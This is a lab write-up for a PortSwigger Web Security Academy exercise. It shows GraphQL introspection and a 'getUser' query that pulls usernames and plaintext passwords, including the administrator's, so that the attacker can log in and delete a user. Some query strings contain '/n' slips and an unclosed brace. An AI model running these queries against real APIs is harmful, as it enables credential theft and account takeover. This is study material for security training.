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# Accidental Exposure of Private GraphQL Fields
Accidental Exposure of Private GraphQL Fields notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Accidental Exposure of Private GraphQL Fields
#### Lab Context
User management features are based on a **GraphQL** endpoint. The lab contains a weak access control: it is possible to **force the API to reveal sensitive fields** (credentials / passwords). / Purpose: **Login as admin** and then **Delete user `carlos`**.
#### GraphQL Query Observed
A typical client-side request:
```graphql
{
"query": "/n query getBlogPost($id: Int!) {/n getBlogPost(id: $id) {/n image/n title/n author/n date/n paragraphs/n }/n }",
"operationName": "getBlogPost",
"variables": {
"id": 1
}
}
```
#### Introspection GraphQL
Introspection is usable via a **IntrospectionQuery** (complete diagram: types, requests, mutations, etc.). / Request sent:
```graphql
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
The server responds **200 OK**, which confirms that introspection is enabled.
#### Analysis of Requests in the Site Map
By sending requests to **Target → Site map**, several requests appear (about 5).
One query stands out: **`getUser`**.
#### Exposure of Private Fields via `getUser`
Query identified:
```graphql
{
"query": "query($id: Int!) {/n getUser(id: $id) {/n id/n username/n password/n }/n}",
"variables": {
"id": 0
}
```
This query shows the field **`password`**.
Equivalent GraphQL version:
```graphql
query($id: Int!) {
getUser(id: $id) {
id
username
password
}
}
```
By replacing **`id: 0`** with **`id: 1`**, the API returns the **username** and the **password** of `administrator`:
```json
{
"id": 1
}
```
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